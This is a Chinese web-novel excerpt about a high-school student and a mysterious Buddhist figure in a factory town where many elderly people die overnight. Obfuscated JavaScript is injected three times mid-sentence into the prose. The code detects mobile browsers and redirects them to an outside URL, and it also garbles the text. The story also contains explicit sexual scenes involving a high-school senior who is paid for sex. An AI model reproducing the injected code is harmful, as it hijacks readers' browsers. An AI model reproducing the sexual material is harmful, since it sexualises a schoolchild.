踏进教学楼,正沿阶而上时,施霜景收到微信消息,是家长群的通知,张国强发消息说英语老师的母亲过世了,她这三天都不能来上课,换课安排之后会发。 励光厂高中的大部分学生都是励光厂子弟的孩子,至少都是厂二代,甚至还有厂三代。老师们就更不用说了,许多老师当年励志在大城市里闯荡,最后却因为父母辈是厂里员工,此处生活自有小圈子,最后还是回来工作。 励光航天厂在十多年前就已经统筹合并进了市里的航空工业集团有限公司*1。他们省的航天厂不少,因为S省多山,当年三线建设时,许多航空航天工厂都藏进大山中,围绕厂区发展生活圈,就形成特殊的小镇,规模大些的甚至可以算得上县。有些同学家里从爷爷辈就在励光厂上班,有些则是父母就读技术类的中专、大专,当年分配进了励光厂。在励光厂建立之前,这片地皮已有居民,不少居民在励光厂建设时直接进入了工厂,现学技术,如今早已是退休了。 班上有学生也请假,说是家里老人去世。天气冷,班长打开空调,室内的温风那么一烘,施霜景只觉得自己鼻腔里还残留着烧纸钱、香烛的味道。昨天班上还热火朝天地探讨恐怖的卐型人,今天只剩现实的恐怖。 这一夜,励光厂走了三十多位老人。 厂里退休老人多,丧事常有,不该稀奇,但一夜之间有三十多位老人过世,人心惶惶,不敢乱说话、乱讨论,噩兆压顶,仿佛所有人眉心都聚着一股黑气。 学生们还好,中年人与老人最是发愁。今天所有老师上课都心不在焉,数学老师今天顶了英语老师的课,可他课上一共接了三通电话,都是不得不接。学生们也都理解,励光厂挺小的,大家都互相认识,死了三十多个老人,接下来厂里许多中年人可能要参加至少四五场丧事,多的甚至能参加一半。 这雾气直到中午都没能散去,太阳亮得很光秃,不见云与蓝天,光球嵌在雾中,不带来温暖。昨天下雨,今天雾里晴天,施霜景想,还好今天没下雨,不然下着雨办丧事,那可麻烦了。 中午有好些学生不敢回家,潜意识里都还是害怕灵棚,或者是家里父母要赶好多场葬礼,从中午就不能在家做饭了,学生的午饭没着落,所以他们就相约着去步行街上吃麻辣烫。施霜景很怕回家见佛子,今天破天荒地应了同学的约。当然,也是因为钱包鼓了。施霜景卖都卖了,大部分的钱可以存起来,但现在他终于可以轻松一点地生活了吧? 上次深夜厂郊惊魂事件的女主角杨玲玲也在,加上施霜景,一共三女两男,五个人去吃麻辣烫。 “这下不知道要给出多少葬礼钱……我妈昨天还说,现在物价涨得厉害,给车加油都心疼得要死。” “那你少氪几单手游,多的钱都省下来了。” “我真受不了了,我家楼下的老太太……他家从昨天晚上就有动静,楼里隔音不好,可能老人是在家里……的吧,反正早上三点过,楼下就开始有声音了,我一晚上等于没睡。老板,我要中辣!” “你们昨天放学有看到救护车吗?我看到好几辆,车牌都还不同,怪吓人的。” 学生们叽叽喳喳地聊起来,声音分不清谁是谁。 杨玲玲取了菜,和施霜景排在队尾,等着将选好的菜品递给老板。她家住得偏僻,没人在她家门口搭灵棚,她也是早上来上学才知道有这么多老人一夜之间走了。 施霜景问:“你这几天家里有人吗?” “有的,我妈、我小姨都在。我的外公外婆早就走了,这几天办丧事轮不到我家。”杨玲玲耸耸肩,单马尾一晃一晃,她反问:“你呢?一个人独居害不害怕?” “还好。”我现在不是独居了。施霜景腹诽道。 说起独居,施霜景点好菜、坐到餐位上的这一分钟,他忽然有些歉疚——佛子要是在家等他怎么办?佛子有没有吃午饭?他还没有告诉佛子一声,他已经决定在外边吃午饭了。他得发消息。 一剑霜寒:佛子,你吃过午饭没? 一剑霜寒:我今天中午不回去,和同学在外边吃 一剑霜寒:你要是醒来没吃的,可以来厂区的步行街,这里有很多吃饭的店 一剑霜寒:但我想你应该可以自己解决 没有回信,说明佛子在忙。太好了,施霜景就怕佛子太闲。他没有应付金主的经验,但金主忙些总比闲着好,闲着的金主让人难以捉摸。 每个人面前都一个塑料的大碗,施霜景吃辣,麻辣烫里飘红油,他左手执勺、右手执筷,埋头苦吃。其他学生对施霜景好奇,但也知道施霜景真就是个闷葫芦,几棍子打不出一个屁,主动找他搭话要是被冷落了反而更尴尬,不如维持现状。 “找到了。” 清泉声音响起,施霜景后颈一凉。他是唱歌的人,对声音敏感。 罗爱曜迈进店里,自顾自选菜,仿佛压根不认识施霜景,也仿佛他刚才那句“找到了”不是找到施霜景,而是找到麻辣烫店。罗爱曜长相气质出众,很能吸目光,高中生本就生活苦闷,来个好看的人犒赏一下眼睛,他们哪有不看的道理,所以这一桌小孩都向罗爱曜行注目礼了,除了施霜景。 “要清汤。” 罗爱曜点好菜、买好单,终于返身回来,拍拍施霜景的肩膀,说:“装不认识我?” 施霜景差点被红油呛住,连忙抽了纸,忍住没咳,绷着的冰山脸不知道是该垮还是不该垮,只朝罗爱曜点点头,有点像打招呼,又有点像小弟,一种非常奇怪的反应。 罗爱曜站着,真是很高一个人,穿靴子都快有一米九了。高中生们仰脖子看他,让施霜景介绍介绍。 “他是我远房的表哥。”施霜景实在没法了,捧着碗往椅子靠墙侧挪了挪,给罗爱曜腾了个座位。 “我是吗?”罗爱曜反问。 “……那不然呢?”施霜景也反问。 “好吧那我就是。”罗爱曜对那群高中生说,“今天厂里好多白事,挺吓人的。” 这表哥又好看又亲和,高中生们马上跟进这话题。等罗爱曜的清汤麻辣烫上桌的时候,他已经听过一圈人的背景故事了,谁是厂三代,谁是为了读高中借住亲戚家,都一清二楚。 罗爱曜头发乌黑,不算太短,眼睛颜色是清澈的湖水蓝,他和人说话时喜欢对视,淡瞳色仿佛会溶进眼白里。五官出众,语气平和,和他说话好像有一种特殊的声场,让人只能听见他的语词,过滤掉其他嘈杂声响。也正是因为这个原因,罗爱曜虽然穿衣是典型的年轻男人,甚至有些狂野了,但他的气质依旧出尘。 施霜景拿罗爱曜的说话声当背景音乐,吃完一大碗麻辣烫,还把汤喝了。他担心罗爱曜说着说着会突然来一句——“其实我在包养施霜景。”幸好直到他们散场,罗爱曜都还在演他的表哥。 “你叫杨玲玲是吗?小景没介绍,我刚才也忘记说了,我是家教, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417930|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最近过来陪小景考试,想在家里开个小班。请问你感不感兴趣?” 高中生三三两两地分开,杨玲玲和施霜景走在一起,自然罗爱曜也在旁边,他这样对杨玲玲说道。 杨玲玲惊讶,施霜景也惊讶——家教?啊? “原来表哥还是老师,你教哪门啊?”杨玲玲笑问道。 “全科。” “真的假的?不会是在逗我吧?” “真的。补课从下周开始,你可以过来先试听一下。” “我家没钱的。” “就收一点点材料费而已,几百块。” 这么一谈,杨玲玲反而对施霜景的求学目标更感兴趣,她说:“施霜景,你真的要好好考大学?那你不能再找我借作业来抄了,至少得自己写个一道半道吧。表哥啊,施霜景和我进度不大一样的。” “没关系,大课补完还有小课。” 施霜景一听见钱,就知道罗爱曜又在做些不可名状之事了。钱是连接罗爱曜和俗世因缘的重要工具。施霜景没让杨玲玲多和罗爱曜聊,拽停了罗爱曜,对杨玲玲说他们两个要去别的地方买点工具,让杨玲玲先走。 “你要拿走杨玲玲的业果吗?”施霜景直截了当地发问。 励光厂的街道人丁寥落,车也不多,两人在人行道上走走停停,不太惹人注意。罗爱曜云淡风轻道:“不是我拿走她的业果,而是要纠偏。我救过她,你忘了?她不用像你一样还我那么多东西,但还是需要给我一小笔钱,这就算了结了。” 罗爱曜话锋一转,有如西风骤起,“而且她也跟你我有关,现在励光厂有不祥的东西,沾上因缘的人可能会被盯上,她来你家,我借点业力给她,这样也算有始有终。” “原来是这样。” “还拉着我的手?”罗爱曜挑眉道。 施霜景赶紧放下。 “你确实应该谢谢我。” “谢谢。我还要确认一下——你是真的会这些高考科目吗?” “不会。”罗爱曜吐出这二字,那么轻松,那么无所谓。 好吧,这人刚才在施霜景面前又破了“不妄语”的戒。他干脆说自己从来没有进过佛门还比较容易。 “但我是天才。我五岁参悟《大日经》与《金刚顶经》*2,七岁总持秘印,十岁起为鸿胪寺专修密教仪轨。如来的身语意密,唯佛与佛乃能究*3,而我自会说话起,与诸佛交换密语,也就是能与佛论法,所以我很早就身列佛国。” 罗爱曜身穿夹克复述他无波无澜的、身为天才的前十年,以兹证明他有过人的智力,他继续说:“我的法身在此世也待了好几年,知道科学是什么。我正好有机会从头学起,学会之后教你是绰绰有余。” 施霜景微微张大嘴巴,鼓起掌来。还是那句话,虽然听不懂,但好像很厉害的样子。 “所以你是真的打算为我补课?” “我会将你送入大学。” 这一刻,施霜景眼前仿若佛光乍现。佛子,要不是之前发生了这么多恐怖的事,影响了我对你的印象,否则如果我从这一刻开始认识你,你一定是十足十的大好人。施霜景如是这样想。 “对了,最近这些白事,你不要去上任何的香、烧任何的纸钱,离远一点。”罗爱曜沉下声音,切换成警告的语气。 “我不认识他们,也没人会请我去参加葬礼。” “他们会请。所以你要打起精神,不要参加。” “参加了会怎么样?” “你这小孩很喜欢刨根问底,是不服气吗?”罗爱曜点出施霜景接话的小心思。 “你快回家吧,我要去上课了。”施霜景掂掂书包,他最擅长躲人问题。 *1:励光航天厂的设定参考了西南地区三线建设的航天工业,多在山区。本文的励光厂是虚构。 *2:《大日经》与《金刚顶经》是中国汉传密教的两大根本经典,为胎藏、金刚二部。 *3:引自《大日经义释演密钞》卷1。 21. 还能有什么看法? 晚餐一顿,施霜景依旧跟同学去步行街吃饭。晚自习放学后,施霜景发觉天色更灰蒙,从没有见过这么浓的夜雾,不论路灯还是楼房的灯光,近的大的如金色柠檬味硬糖,远的小的如看不真切的萤火虫。学校大门前聚着好多家长,一开始大家还以为是家长担心孩子在雾中回家危险,但第二天学生们交流时才知道,家长来接小孩,亦是为了赶着去参加其他老人的葬礼。一个白天过去,厂里又去世了五位退休老人。 施霜景和杨玲玲并肩出校门,杨玲玲说:“去补课的事,我要和我妈商量一下,但还是谢谢你的表哥了,希望你补课顺利。” “好。你要怎么回家?” “我妈妈来接我,喏,那个骑粉色小绵羊的就是我妈。我走了,拜拜。明天见,施霜景。” 施霜景家离学校不算太远。今晚厂里车流不绝,平时这个点,学生下晚自习会带来大约二十分钟的热闹,然后就会沉寂下去。今天厂里葬礼爆满,许多在外生活的子女都回来操办、参加老人葬礼,车多,人也多。路边和小区里的灵棚中人声鼎沸——这个词用在这里真的合适吗?但他们这里的葬礼风俗就是很热闹。 今夜因守灵而不眠。施霜景小心地绕开灵棚,那些白棚里拉着明亮的灯泡,照出一张张遗像,遗像上的面容或安详温和,或作严肃表情。有些是老人年事已高而事先拍好的照片,有些却是临时制作的,可以想见这照片原本的用途肯定不是作遗像。灵棚里哭泣的人少、打牌打麻将的人多,灵棚外有三三两两的男人聚在一起抽烟。 街上香火气与酒气交织,但施霜景从中闻出非常明显的饭香。有些丧礼上二十四小时提供饭食,另一些可能是包了厂里的餐馆,让用餐的人都移步去餐馆吃。施霜景很不争气地被白事的餐食香气勾起馋虫,反正他晚上经常吃夜宵的。 正当施霜景这么想着,一户灵棚里追出来中年男人,朝施霜景喊道:“娃娃,娃娃,等一下——” 这是在大路上,施霜景停步,中年男人手臂上戴“孝”字,看来是过世老人家的孝子。中年男人气喘吁吁道:“娃娃,要不要进来吃点东西?” 施霜景谨记佛子的嘱咐,他决心不会进任何一座灵棚,他怕佛子回家找他麻烦,“不用了,老人家走好,我们互相都不认识,就不进去了。” “不用、不用想那么多……你看,厂里现在人都不多,不晓得怎么回事,老人们一夜之间全都走了,哪家都抽不出人来凑丧礼的人头。我们摆了好多东西,进来上香的人都没有,显得我家老妈妈好可怜哦。” “不好意思,真的不行。您节哀。”施霜景说着,已经打算拔腿就跑。中年人的眼神中可以说有特别诚心祈求的情绪,但施霜景总能从中觉出一点执拗来,这让施霜景连连后退。 “那娃娃,你说两句吉祥话好不好?” 吉祥话?什么叫吉祥话?施霜景说:“您节哀顺变,保重身体。” “吉祥话不是这些,我教你……”中年人回头朝灵棚叫喊一声,施霜景的视线顺着中年人看望的方向移去,发现原来还有好几位戴孝的人正扶着灵棚看向他们。一个年轻女孩手拿着黄纸跑过来,递给中年男人。 黄纸上就四句话,中年男人示意施霜景念。施霜景想,罗爱曜不让他上香、烧纸钱,但他人在这种全厂悲痛的氛围里,如果躲掉,不知道日后会不会被孤立,施霜景只能硬着头皮念了。 “子孙聚,子团圆。子孙代代居福禄,子孙富贵万万年。*1” 施霜景念完,手中的黄纸忽然被中年男人抽走,男人草率地感谢几句,返身小跑回灵棚,施霜景也加快脚步离开了,生怕再被缠上。他边走边回头,看见中年男人很快就用火机将那黄纸烧成飞灰。 完蛋,怎么又像是中了招。施霜景觉得这很像某种仪式,并不像中年男人劝说时那么轻松简单。 施霜景干脆跑回家,好不容易跑到楼底,楼下那家灵棚的人一见到施霜景,齐齐停下手中麻将,朝施霜景走来。施霜景深吸一口气,拔腿就往楼上跑。他家住三楼,两阶一迈,施霜景跑上楼的速度极快,但他还是听见身后有人跟上的脚步声,他们亦是在跑上楼梯。 楼道的声控灯已死,施霜景边跑边摸黑掏钥匙,他一个转弯,忽然撞进一个怀抱里。施霜景快要吓死了,欲要推开黑暗中的人,但他马上听见极近、极轻的语声:“没事,是我。” 是罗爱曜。 罗爱曜捂住施霜景的嘴,示意他不要出声。施霜景的心脏快要跳出胸膛,楼下灵棚的家属挤上楼梯,马上就要上到三楼的拐弯平台处,可施霜景一噤声,那些脚步声很快也就暂停了。又过几十秒,脚步声远去,他们下楼离开。 罗爱曜领着施霜景回家,刚才罗爱曜出门时只是虚掩着门,还好玉米很老实,是收编之后一点都不贪恋自由的小猫咪,不会趁人开门缝就溜出来。 施霜景关上门后,郁闷得难以言表,罗爱曜抱着手臂瞧他,等施霜景开口。 “我刚才在路上被人拦住,他让我说了什么吉祥话。” 施霜景是诚实的好孩子。 “是的,你说了。”罗爱曜平静道,“我是不是让你不要掺和他们的事?” 原来这也算“掺和”吗?施霜景特别想说,是罗爱曜只提了上香、烧纸钱这两项,没说不能干别的啊。但他也知道,这好像是狡辩。他是高三生,不该一点思维拓展能力都没有。 施霜景又躲了问题,他放下书包,去开冰箱,想找些吃的,他肚子好饿。罗爱曜走过来,当着施霜景的面合上冰箱,他说:“很饿?想吃东西?吃这些解不了你的饿。” “佛子,我做错了什么事,你可以明说。” 施霜景这人骨子里是有些不服管的,还是有男孩的锐气。罗爱曜伸长手臂,从香炉里取出正点燃的香,然后他靠近施霜景,对施霜景说:“把舌头伸出来。” 施霜景眼神一歪,按罗爱曜说的那样,吐出舌头。 舌头刚一伸出就被罗爱曜以左手捉住,二指夹在舌中,让施霜景的舌头不能缩回去。这回施霜景目带慌张地看了回来,疑惑地盯住罗爱曜。只见罗爱曜将点燃的香反转过来,燃起的那一头朝下,渐渐朝施霜景的舌头靠近。 这人难道要往他的舌头上烫戒疤吗?施霜景尾骨一寒,差点忘了佛子是会送他两场带血春梦的怪人。 舌尖传来硬物戳抵的感觉。咦,不痛? 罗爱曜认真地用香戳了好几下,这才松开手。施霜景扒开罗爱曜,往厕所冲去。他对着镜子吐出舌头,生怕自己的舌头给罗爱曜烫坏了,可他仔细一看,只觉得舌头上好像隐隐约约有着什么纹路,几枚小小的圆印压在纹路上,像是镇住了。 罗爱曜慢悠悠地走到厕所,倚门说道:“这还没完。你舌头上是饿鬼印,我暂且压制了。你说出去的吉祥话,其实是全数落在我身上,要我去兑现。我算来得及时,现在厂里有妖邪来报仇,它们不找你,可妖邪造访过的人类之家会找上你。” “……哦。” “你就这反应?” 施霜景拧开水龙头,顺带洗了把脸,洗完才说:“我以为有你庇护,我百邪不侵呢。” 罗爱曜忽觉好笑,他没听错的话,施霜景这话里有小小的埋怨。罗爱曜说:“我没有在庇护你,你也不是百邪不侵。要达成这些,你还得再卖。” “卖?卖身?那算了。今天这个什么饿鬼印,我要卖吗?”你就是拿香戳了几下。施霜景觉得罗爱曜好奇怪,刚才出现在楼道里,帮了他一手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417931|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可为什么更早之前,罗爱曜没有明说今晚可能撞见的邪事。施霜景觉得自己是被罗爱曜坑了。 罗爱曜点点头:“要。我想和你再试试。” “这就是你的目的吧?又让我欠你。”施霜景伸手推罗爱曜的肩膀,要把他推出浴室,“我不知道你到底为什么会选上我,我不男不女的,这样你也要?” 罗爱曜后退,施霜景关上浴室门,要换洗的衣服统统都没拿进来,施霜景的心很乱,他还是很焦虑于卖身这回事。他可以和罗爱曜睡一张床,但是不能想象和人真正上床。 罗爱曜的声音隔着门传来:“你是特殊。我欣赏特殊。” 欣赏,真是好文雅的一个词。施霜景自嘲地想,其实你是猎奇吧。 施霜景在浴室里静静待了一会儿,没洗澡就出来了,他还是觉得肚子饿,又想去开冰箱,又被罗爱曜逮住,这回是直直地往卧室拖。 罗爱曜关门,把玉米关在门外,刚才它还在客厅的一角抓小虫。施霜景的衣服被罗爱曜扯歪,施霜景自己正了正衣服,站定。罗爱曜说:“我让你花完十万,花去多少了?” “不知道。” “你这也不听,那也不听,是对我的到来不高兴?” 施霜景说:“没法高兴,可我收了钱。你到底是好人还是坏人?” 罗爱曜思索两秒,正色道:“不论我是好人坏人,你都不可以把我当成信赖的人。” “为什么?” “因为我一直都不怀好意。”罗爱曜靠近施霜景,能感觉到彼此的呼吸,罗爱曜说,“结果可以有好有坏,可我的发心很糟糕。你需要记住这点。” 施霜景对这距离感到不适,他又想推开,这回他却觉得触摸到的罗爱曜就跟铁一样坚硬。罗爱曜仔仔细细打量施霜景,看他的眼与睫,近说:“你这次要是还受伤,我不会给你治了。” 施霜景不吭声,罗爱曜说话像是有咒力一样,好像恐惧又生发出来了。施霜景不知道他今晚会被怎么对待。 “先从这里开始。我为你还吉祥话的债,你把你的嘴唇抵给我。” 一个轻轻覆上的吻,施霜景还在适应,忽然被咬住下唇,疼得施霜景微微张开嘴,这下罗爱曜的舌头趁虚而入,从一个小儿科的浅吻进化到舌尖交缠的深吻。施霜景后悔啊,对怪事的心软换来真正的怪物的心硬,看来他今天是真的要卖了。 施霜景被这吻硬控一分多钟,直被吻得小腹发热。他不知道罗爱曜这亲嘴的技术是好还是差,但罗爱曜很激进。长着这么一张谪仙脸,怎么这么激进。亲吻的时候手该摆在哪里?施霜景的手被迫乱摸着罗爱曜,结果是把罗爱曜也给摸起火了。 两人唇分,施霜景的卫衣遭人探进一只手。十万,至少得卖十次。施霜景被摸得毫无办法,罗爱曜一推,施霜景就跌坐在床上,坐下时才明显来了感觉。 罗爱曜穿的是施霜景的衣服,他脱掉自己的卫衣,内穿了一件纯黑色的短袖,施霜景不想扭扭捏捏,显得很不磊落,也反手脱了自己的卫衣,里面是条纹长袖。 “把衣服掀起来。” 施霜景不带多余表情,只是照做。 施霜景有肌肉,腹肌是天赋异禀,胸部则是好像跟体质有关。他夏天穿短袖时会被人问是不是练过,施霜景的胸肌不夸张,但有料。 “别人这里都是尖尖、外凸的,你是凹进去,软软、扁扁的一圈,你有什么看法?” “我知道这是内陷,还能有什么看法?” 施霜景觉得罗爱曜的自我补习之路就该从生物开始。这问题真的让人有些生气了。 *1:棺材封钉的时候,僧侣或者主持葬仪的人会对家属说吉祥话。这里的吉祥话来源于网络,有稍作修改。 22. 接触的亲昵 施霜景自进入福利院起,就颇受刘奶奶的照顾。她知道施霜景身体特殊,很早就告诉施霜景,他需要好好照顾自己,不能像院里其他的男孩子一样,想脱衣服就脱衣服,夏天只穿小裤衩乱跑。福利院是澡堂子,刘奶奶带女孩们洗澡,以前的门卫以及现在的高大爷带男孩洗澡,小孩子长大了,那就由年长的孩子带年幼的孩子洗。施霜景刚来院里时,刘奶奶总是让施霜景一个人先进澡堂,他洗完再轮到其他人,后来施霜景长大了,学会让着弟弟妹妹,就自愿留到最后。施霜景身体的异处是刘奶奶告诉施霜景的,这具身体怎么照顾也是刘奶奶教施霜景的。施霜景不喜欢这种不阴不阳的不便感,青春期受到的他人影响也使他偶尔觉得这身体恶心,可他不怨恨这身体,毕竟这是他自己的一部分。 “在走什么神?”罗爱曜提醒道。 罗爱曜掐疼了施霜景,施霜景不自在地在床上后退,他被揉又被捏,施霜景不喜欢,小腹绷得很紧张,很快罗爱曜的手就来到他腹部,“还是睡着时比较软。”罗爱曜说。 “什么?” “你睡觉的时候,肚子很软很热。” 听闻这话,施霜景的肚子热不热不知道,耳朵是热了。原来昨天晚上睡觉,他被罗爱曜摸遍了。罗爱曜看起来年龄也不大,大概二十七八岁,这让施霜景觉得自己是在和同龄人做,不是网上看见的所谓中年金主。年轻金主有脸有身材,身带一股说不出的檀香味,要靠得极近才能闻出来。罗爱曜摸遍施霜景全身,最后还是回到施霜景的胸部流连。 罗爱曜滑下去,换一处。久了,罗爱曜轻叹一声,说:“再吃下去,我也成幼童了,不合适。” 施霜景无语,这哪哪都不合适,你装模作样感叹什么呢。 “佛子,你真的是佛门中人吗?”施霜景发出灵魂质问。 “我的法身在这世间观览了五年,无所不知,无所不晓。”罗爱曜有些得意道。 施霜景总想和罗爱曜对着干,压根不经大脑的,罗爱曜感受到这抵抗的力,决定再用亲吻冲昏施霜景的头脑。施霜景能被亲出感觉,就能被亲脱力。 身体更有反应,意识更加模糊,好像知道什么是飘飘欲仙的感觉了,而且罗爱曜亲他的时候,两人身体贴得紧,施霜景会觉得好受一些。 此时施霜景不合时宜地想起前两天他去福利院,不记得是那两位大学生志愿者中的哪一位说的:“我们看过一些文章,说福利院的孩子喜欢皮肤接触,喜欢别人的拥抱和亲亲,因为他们在早年缺乏这样亲密的养育体验,皮肤接触会给他们带来更强的幸福感。” 施霜景忍不住抚了抚罗爱曜的手臂,此时罗爱曜一手撑在旁边,另一手为施霜景服务,施霜景再次确认着罗爱曜是活人,有着鲜活的生命,手臂撑起时显出肌肉,施霜景躺着,从下往上看罗爱曜,会注意到他很分明的下颌线与肩颈肌肉线条。罗爱曜接收到施霜景的目光,两人对视几秒,罗爱曜好像猜中了施霜景的想法,他俯身亲了亲施霜景的额头,“想要靠得再紧一点?”他问,但并不需要回答,因为话音刚落,两人相贴的地方变多了,胸膛,脸侧,其他的地方。 一夜不止是缠绵。 施霜景窘迫、尴尬,但到最后竟然自如起来。罗爱曜看似游刃有余,可他的进退都让人难以捉摸,好像时不时要考虑对方感受似的,可这份贴心又不足,对这种贴心的动机感到很陌生。他们只知道自己好像喜欢人体的热度。身体接触让施霜景安心,继而清醒地意识到,这不是上次如在梦中的、昏睡中的成年人打闹。 施霜景不爱说话,罗爱曜则长了一张不爱说话的脸,可他们在床间絮语不断,限定时间内的熟稔,甚至是亲昵。 第二天闹钟响起前三分钟,施霜景自动就醒了。昨晚他们太累,不知何时就昏睡过去,睡之前施霜景想着今天要早点起来洗个澡,身体里就自动上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417932|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了起床的发条。 稍稍一动弹,施霜景就觉得浑身要散架一样,累、麻、酸、胀、疼。他给人锁在怀里,热腾腾地睡了个无梦的觉,睡眠质量奇高,之前他总觉得睡觉也补偿不了自己的劳累,可今天这一觉有清空疲劳值的作用。施霜景小心地拿开罗爱曜的手,准备下床。 忽然间,施霜景觉得自己的身体有异样。他往下摸了摸,发现两人竟然还紧紧贴着。施霜景还是受不了,非常受不了,理智断线,昨天他还不好意思弄醒佛子,今天他不想一清早就受这窝囊气,干脆就摇醒了罗爱曜。 “你去吧,我再睡一会。”罗爱曜显然约等于没醒。 “拔出来。”施霜景狠狠压抑心头怒火,没让自己的语气从句尾的句号转成感叹号。 罗爱曜却说:“是你自己昨天不让我拔出来,说什么‘要堵住’。” 施霜景终于怒了:“我绝对不会说这种话,我肯定没说过!” “好吧,你的确没说过,我逗你的。” 施霜景下地的姿势非常不自然,感觉耻骨疼,影响走路。天气极冷,屋里没有开空调,施霜景连忙拿上换洗的衣服,打开卧室门,发现玉米已经乖乖的仰头看他,似乎在问:你们昨晚为什么不让我进房间睡呢?客厅没人也没有电热毯,好冷哦。 “抱歉……我洗完澡出来给你开罐头。” 施霜景冲进浴室。 洗完澡出来,施霜景想死的心都有了,刚才热水淋在身上是很舒服,可淋在下面就像是吃过辣又喝热水,辣上加辣。他想打扫一下卧室再去上学,怕玉米玩地上的塑胶物。 冰箱里又多出了熟悉的食盒,施霜景将食盒捧出来,发现这是和之前一样的送餐。 施霜景拐进卧室,问罗爱曜:“食盒里的东西我能吃吗?” “这几天你只能吃食盒里的东西,中餐和晚餐记得回来。”说完,罗爱曜翻个身,继续睡了。 23. 喜欢这一款的? 可怜施霜景前一夜被翻来覆去地折腾,第二天这学还是雷打不动要去上,不上学就得在家和罗爱曜面面相觑,还不如去教室倒数几排趴着睡觉。 反观家里的罗爱曜,一直睡到天光大亮,大约快要十点钟才从床上坐起。小猫猫玉米跳上了木质衣柜,居高临下看罗爱曜。一人一猫对视,罗爱曜打个哈欠,玉米也被传染着打了个哈欠,罗爱曜下床,去浴室。 镜子里的男人正反着身,回头看自己后背被挠出的血痕。施霜景刚开始做的时候还有点脑子,做到后头就只顾爽了,挠罗爱曜的劲儿还有点泄愤意味。罗爱曜打开花洒,就着花洒热水刷牙。 这现代社会的一切一切,罗爱曜不是马上就能适应的。 从前他的应身封在山中,依靠法身、报身于世行走。法身是最真如的法体,是一切的根本实性,而他的法身——就当做他最核心的意识吧——在五年前才苏醒。法身降世后不就,报身得以显现,也就是罗爱曜的佛像体,不论佛龛上的佛像还是施霜景梦里出现过的铜佛像,都是罗爱曜的报身。相比起法身与报身,应身则最为具体,倘若无事的话,罗爱曜根本不会选择让自己的应身现世。 罗爱曜与其他佛门中人甚至菩萨的修行有很大差别,他这应身的现世流程如下:于婆娑世界的燃灯佛处记为佛子,有成佛的潜力,却还未成佛,要修炼,是有了佛国户口本;入胎,得以投生器世,大抵就是广义的人间了;诞生,出家,这无甚好说;降魔,罗爱曜寂寞守护千年,无魔亦无心,因其过于纯粹,千年来他的法身都困于地狱,同地藏王菩萨一同发大愿大誓,地狱不空,不得而出,于是也有了地狱户口本。现在罗爱曜复苏过来,罗爱曜决定以身犯戒,自作心魔,重回佛路,但还连个初始样子都没有;倘若成功降魔得道,则需要转轮、说法五十年,遍讲教义与佛迹,最后涅槃。*1 这原本一套完美的流程困了他千年,压根无解。所以这回罗爱曜决心,他统统要反其道而行之。行混沌之事,结混沌恶果。 罗爱曜的法身刚苏醒时,发觉这世上变化已超乎他想象。适应现代人说话就费了些功夫,“余过午不食”要说成“我中午以后就不能再吃饭了”,“原汝受生所行罪负”要说成“(我)将宽恕你生前所犯的罪孽”。简洁不足,情感有余,把规矩定下的事说成是自己选择的事。天上飞的,地上跑的,娱乐众多,罗爱曜也能见妖魔,可此地界有儒释道三家,除开儒家是纯粹人管人之法,道亦有道,佛亦行着佛事,罗爱曜是彻底的清闲人。 很难说现在让罗爱曜管施霜景这么一个小孩是不是为难了。他不论是年幼在家还是出家进寺,衣食起居样样都由他人照顾,现在变成他要照顾施霜景这小孩,罗爱曜还在适应这角色。现在这励光厂里发生的事虽乱,罗爱曜在此,还是大材小用,竟是比和施霜景相处还简单。 罗爱曜洗完澡,打开门,玉米就趴着浴室门外的小地毯上,这小东西只用一天就习惯罗爱曜了,不知道是不是它很快就意识到,其实自己能很快好转,有一部分原因是罗爱曜为他施加了愿力,或者换个说法,降福了。 换过衣服,罗爱曜去冰箱取出玉米的药,施霜景这两天因为罗爱曜的到来,被折腾得头昏脑涨的,一时间没想起玉米的病,可能以为有罗爱曜在就万事大吉了,可罗爱曜不想让这只小猫也欠他很多,还不如让他来给猫注射药物。 “玉米,过来,趴下。”罗爱曜手握注射器,朝玉米招手。玉米一看那针管便警惕,可罗爱曜说话等于命令。玉米是猫,修为比人类还低,不可能抗拒,所以它显得异常听话,只磨蹭了几秒就迈着猫步走过来。 捏起猫的后颈皮,罗爱曜用碘酒棉棒消毒之后,注射药物。玉米怕得发抖,可还是乖乖不动。三秒搞定。罗爱曜收拾针具,玉米抖抖皮毛,朝罗爱曜“喵”了好几声。罗爱曜想了想,便给玉米开了个零食罐头。 罗爱曜拉开施霜景的衣柜,选一身衣服今天穿出门去,今天要干些脏活,衣服穿回来得烧掉。他之前买的东西大多都填的是柳司机的地址,正好他今天要送来。罗爱曜选了一身像男大学生的装扮,穿上便出门去了。时间不多,他中午还得和施霜景碰头。 先是楼下这家人。 